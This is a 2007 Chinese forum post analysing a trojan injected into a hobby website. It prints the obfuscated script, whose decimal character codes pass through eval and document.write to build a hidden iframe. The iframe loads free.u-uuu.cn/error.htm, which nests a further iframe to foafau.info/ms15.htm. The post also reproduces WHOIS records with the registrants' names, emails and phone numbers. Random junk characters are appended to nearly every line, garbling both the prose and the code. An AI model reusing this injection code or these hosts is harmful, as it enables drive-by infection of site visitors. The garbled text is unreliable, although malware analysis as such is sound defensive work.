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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, "+HJ/8Dd1  
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http://www.areway.cn/?p=175 6Yu:v  
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3I6ocj [,  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: nm^HL|  
          iRQ!J1SGcG  
<script>t=’60,105,102,114,97,109,101, d0El2Ct8  
32,115,114,99,61,104,116,116,112,58,47,47, S 'a- E![  
102,114,101,101,46,117,45,117,117,117,46,99, kDmm  
110,47,101,114,114,111,114,46,104,116,109, R9XU7_3B  
32,119,105,100,116,104,61,49,48,48,32,104, t{md&k4  
101,105,103,104,116,61,48,62,60,47,105,102, TW|K.t@5#H  
114,97,109,101,62′; VkQ@c;C  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> kAftW '  
                                                                                                  D"7}&Ry:  
<script>t=’60,105,102,114,97,109,101,32,115, 55Ss%$k@  
114,99,61,104,116,116,112,58,47,47,102,114, `TrWtSwv  
101,101,46,117,45,117,117,117,46,99,110,47, )6"}M;v  
101,114,114,111,114,46,104,116,109,32,119, K-RmB4WI  
105,100,116,104,61,49,48,48,32,104,101,105, Et=Pr+Q{c  
103,104,116,61,48,62,60,47,105,102,114,97, JZ5k3#@e  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); X9x`i  
document.write(t);</script> W06aj ~7Z  
                                                                                                  ?cU,%<r  
<html xmlns=” |]\zlH"w  
http://www.w3.org/1999/xhtml fY<#KM6X  
“> AwM`[`ReE  
<head> `7 "="T~ *  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> 5pQpzn =  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> CPz<iU  
<title>首页 - 爱生活家庭网 ?ZF):}r vZ  
                                                                                                                                                    Q,U0xGGz  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 D An2Pqf  
转换字符串后的大概内容是(谁点击后果自付): \"lz,bT  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… I G1];vX  
                                                                                                                                  fdl.3~.C  
查询玉米u-uuu.cn的详细信息: c(Q@5@1y:  
Domain Name: u-uuu.cn H:fKv7XL  
ROID: 20070901s10001s64972306-cn I}C2;[aB  
Domain Status: ok I8xdE(o8+  
Registrant Organization: 王雷 ( t&RFzE?G  
Registrant Name: 王雷 K_i|cYGV  
Administrative Email: czlovexs@126.com a5*r1,  
Sponsoring Registrar: 北京万网志成科技有限公司 ImXYI7PL  
Name Server:ns.yovole.com \&"C  
Name Server:ns1.yovole.com 1%Xh[  
Registration Date: 2007-09-01 17:54 wh$bDT Cj  
Expiration Date: 2008-09-01 17:54 U>S  
最后PING了一下地址 都没有什么…. 4XkI? l  
                                                                                                k^5Lv#Z  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. J1w;m/oV  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> `YhGd?uu$  
<script language=”javascript” src=” zv]ZEWVzc  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script d |17G  
> yw1 &I^7  
这个玉米应该有可能是木马作者的: BP/nK.  
foafau.info的详细信息: lM-9J?j  
Access to INFO WHOIS information is provided to assist persons in $n<a`PdH  
determining the contents of a domain name registration record in the h"FI]jK|}  
Afilias registry database. The data in this record is provided by @MSmg3 &  
Afilias Limited for informational purposes only, and Afilias does not lQ 8hY$  
guarantee its accuracy.  This service is intended only for query-based g'.OzD  
access. You agree that you will use this data only for lawful purposes ;1k& }v&  
and that, under no circumstances will you use this data to: (a) allow, rA~f68h|  
enable, or otherwise support the transmission by e-mail, telephone, or Z?)g'n  
facsimile of mass unsolicited, commercial advertising or solicitations 7;jD>wp 9D  
to entities other than the data recipient’s own existing customers; or "O34 E?ql.  
(b) enable high volume, automated, electronic processes that send 6bm7^e(  
queries or data to the systems of Registry Operator, a Registrar, or ,#Z%0NLe  
Afilias except as reasonably necessary to register domain names or [LoQYDku  
modify existing registrations. All rights reserved. Afilias reserves |UTajEL  
the right to modify these terms at any time. By submitting this query, o1AbB?%=  
you agree to abide by this policy. l=DF)#>w  
Domain ID:D22418703-LRMS *,\v|]fc  
Domain Name:FOAFAU.INFO IO)B3,g  
Created On:20-Nov-2007 16:05:42 UTC 9q'9i9/3d  
Last Updated On:20-Nov-2007 16:05:44 UTC " U\RN  
Expiration Date:20-Nov-2008 16:05:42 UTC ?I+L  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 8dE0y P  
Status:CLIENT DELETE PROHIBITED qTJhYxm  
Status:CLIENT RENEW PROHIBITED us.#|~i<h  
Status:CLIENT TRANSFER PROHIBITED C4+DZ<pE  
Status:CLIENT UPDATE PROHIBITED PR8nJts W5  
Status:TRANSFER PROHIBITED >|taU8^|G}  
Registrant ID:GODA-040110615 JFT$1^n  
Registrant Name:liu hong }c/p;<  
Registrant Organization: g=Z52y`N<  
Registrant Street1:beijing 25>R^2,LiE  
Registrant Street2: * %D_\0;  
Registrant Street3: n`,  <g  
Registrant City:beijing )vW'g3u_  
Registrant State/Province: *Fy6 -CC1  
Registrant Postal Code:100000 "Zp&7hI  
Registrant Country:CN z\ZnxZ@  
Registrant Phone:+86.860108888777 \.Lj A_  
Registrant Phone Ext.:  "J(M.Y  
Registrant FAX: J!:BCjRdw  
Registrant FAX Ext.: wf8{v  
Registrant Email:bbbshiji@163.com :>FN|fz  
Admin ID:GODA-240110615 J(]|)?x2  
Admin Name:liu hong kL8rqv^  
Admin Organization: =B}IsBn'J  
Admin Street1:beijing ng}C$d . I  
Admin Street2: +?J  N_aR  
Admin Street3: )Zq'r L<  
Admin City:beijing ciS +.%7  
Admin State/Province: $nt&'Xnv  
Admin Postal Code:100000 ?fxM 1<8  
Admin Country:CN g89@>?Mn  
Admin Phone:+86.860108888777 H^d?(Svh  
Admin Phone Ext.: l7-lXl"%q  
Admin FAX: Tg{5%~L]   
Admin FAX Ext.: #/oH #/?  
Admin Email:bbbshiji@163.com Kd:l8%+  
Billing ID:GODA-340110615 %o?)`z9-  
Billing Name:liu hong D Q.4b  
Billing Organization: ebBi zc=  
Billing Street1:beijing r8 9o  
Billing Street2: _vTr?jjfK  
Billing Street3: UarLxPQ  
Billing City:beijing =u2 z3$  
Billing State/Province: DzVCEhf  
Billing Postal Code:100000 orjtwF>^  
Billing Country:CN p9"dm{  
Billing Phone:+86.860108888777 UT;%I_i!'  
Billing Phone Ext.: D;en!.[Z  
Billing FAX: m.D8@[y  
Billing FAX Ext.: aE~T!h  
Billing Email:bbbshiji@163.com N<Sl88+U  
Tech ID:GODA-140110615 a>47k{RSzE  
Tech Name:liu hong m.lR]!Y=w  
Tech Organization: oJa}NH   
Tech Street1:beijing #Z1%XCt  
Tech Street2: z|pt)Xl  
Tech Street3: z/\OtYz  
Tech City:beijing Mt.Cj;h@^[  
Tech State/Province: /43l}6I  
Tech Postal Code:100000 e]~p:  
Tech Country:CN Ph^1Ko" 2  
Tech Phone:+86.860108888777 u+8"W[ZULq  
Tech Phone Ext.: $gr>Y2i  
Tech FAX: i^DMnvV.  
Tech FAX Ext.: "z9C@T  
Tech Email:bbbshiji@163.com R+HX'W  
Name Server:NS27.DOMAINCONTROL.COM _Q+c'q Zkl  
Name Server:NS28.DOMAINCONTROL.COM 8dR `T}  
Name Server: )0/9 L  
Name Server: ?^U?ua6  
Name Server: LK}g<!o(  
Name Server: YE`Y t  
Name Server: D$>!vD'  
Name Server: 9"#C%~=+  
Name Server: |R.yuSL)(  
Name Server: [q|W*[B:@  
Name Server: %k#+nad  
Name Server: j~N*TXkC  
Name Server: @4;'>yr(  
                                                                                                          B!Wp=9)G  
接着下载每个文件里面的代码: ytY\&m  
一步一步看.. BHY-fb@R]H  
?r !kKMZ  
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b;VIR,2  
rpiuFst  
~3 bV~H#~m  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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